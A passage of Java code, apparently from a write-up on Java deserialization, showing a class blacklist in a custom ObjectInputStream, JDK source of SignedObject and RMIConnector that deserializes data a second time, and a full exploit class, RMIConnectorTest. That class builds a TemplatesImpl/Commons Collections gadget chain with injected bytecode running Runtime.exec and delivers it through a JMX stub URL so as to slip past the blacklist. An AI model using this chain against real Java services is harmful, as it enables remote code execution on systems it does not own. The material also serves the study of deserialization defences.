public class MyownObjectInputStream extends ObjectInputStream {
private ArrayList Blacklist = new ArrayList();
public MyownObjectInputStream(InputStream in) throws IOException {
super(in);
this.Blacklist.add(Hashtable.class.getName());
this.Blacklist.add(HashSet.class.getName());
this.Blacklist.add(JdbcRowSetImpl.class.getName());
this.Blacklist.add(TreeMap.class.getName());
this.Blacklist.add(HotSwappableTargetSource.class.getName());
this.Blacklist.add(XString.class.getName());
this.Blacklist.add(BadAttributeValueExpException.class.getName());
this.Blacklist.add(TemplatesImpl.class.getName());
this.Blacklist.add(ToStringBean.class.getName());
this.Blacklist.add("com.sun.jndi.ldap.LdapAttribute");
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.Blacklist.contains(desc.getName())) {
throw new InvalidClassException("dont do this");
} else {
return super.resolveClass(desc);
}
}
}
public final class SignedObject implements Serializable {
public SignedObject(Serializable object, PrivateKey signingKey,
Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
// creating a stream pipe-line, from a to b
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);
// write and flush the object content to byte array
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();
// now sign the encapsulated object
this.sign(signingKey, signingEngine);
}
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
}
public static Object deserialize(@Nullable byte[] bytes) {
if (bytes == null) {
return null;
}
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return ois.readObject();
} //...
}
private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
throws IOException {
final byte[] serialized;
try {
serialized = base64ToByteArray(base64);
} //....
final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);
final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
final ObjectInputStream oin =
(loader == null) ?
new ObjectInputStream(bin) :
new ObjectInputStreamWithLoader(bin, loader);
final Object stub;
try {
stub = oin.readObject();
} // ....
}
private RMIServer findRMIServer(JMXServiceURL directoryURL,
Map<String, Object> environment) {
final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true);
if (isIiop) {
// Make sure java.naming.corba.orb is in the Map.
environment.put(EnvHelp.DEFAULT_ORB,resolveOrb(environment));
}
String path = directoryURL.getURLPath();
int end = path.indexOf(';');
if (end < 0) end = path.length();
if (path.startsWith("/jndi/"))
return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
else if (path.startsWith("/stub/"))
return findRMIServerJRMP(path.substring(6,end), environment, isIiop);
else if (path.startsWith("/ior/")) {
if (!IIOPHelper.isAvailable())
throw new IOException("iiop protocol not available");
return findRMIServerIIOP(path.substring(5,end), environment, isIiop);
} else {
final String msg = "URL path must begin with /jndi/ or /stub/ " +
"or /ior/: " + path;
throw new MalformedURLException(msg);
}
}
public void connect() throws IOException {
connect(null);
}
public synchronized void connect(Map<String,?> environment) {
final boolean tracing = logger.traceOn();
String idstr = (tracing?"["+this.toString()+"]":null);
if (terminated) {
logger.trace("connect",idstr + " already closed.");
throw new IOException("Connector closed");
}
if (connected) {
logger.trace("connect",idstr + " already connected.");
return;
}
try {
final Map<String, Object> usemap =
new HashMap<String, Object>((this.env==null) ?
Collections.<String, Object>emptyMap() : this.env);
if (environment != null) {
EnvHelp.checkAttributes(environment);
usemap.putAll(environment);
}
// Get RMIServer stub from directory or URL encoding if needed.
if (tracing) logger.trace("connect",idstr + " finding stub...");
RMIServer stub = (rmiServer!=null)?rmiServer:
findRMIServer(jmxServiceURL, usemap);
}
}
protected void doStart() throws IOException {
// Get RMIServer stub from directory or URL encoding if needed.
RMIServer stub;
try {
stub = (rmiServer!=null)?rmiServer:
findRMIServer(jmxServiceURL, env);
}
}
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
public class RMIConnectorTest {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static String getCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "p4d0rn");
setValue(templates, "_tfactory", null);
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "xxx");
outerMap.clear();
setValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();
return new String(Base64.getEncoder().encode(baos.toByteArray()));
}
public static void main(String args[]) throws Exception {
RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://127.0.0.1:8888/stub/" + getCode()), new HashMap<>());
Transformer invokeTransformer = InvokerTransformer.getInstance("connect");
Transformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
Map expMap = new HashMap();
expMap.put(entry, "xxx");
lazyMap.remove("test");
// 将真正的transformers数组设置进来
setValue(lazyMap,"factory", invokeTransformer);
setValue(entry,"key", rmiConnector);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
}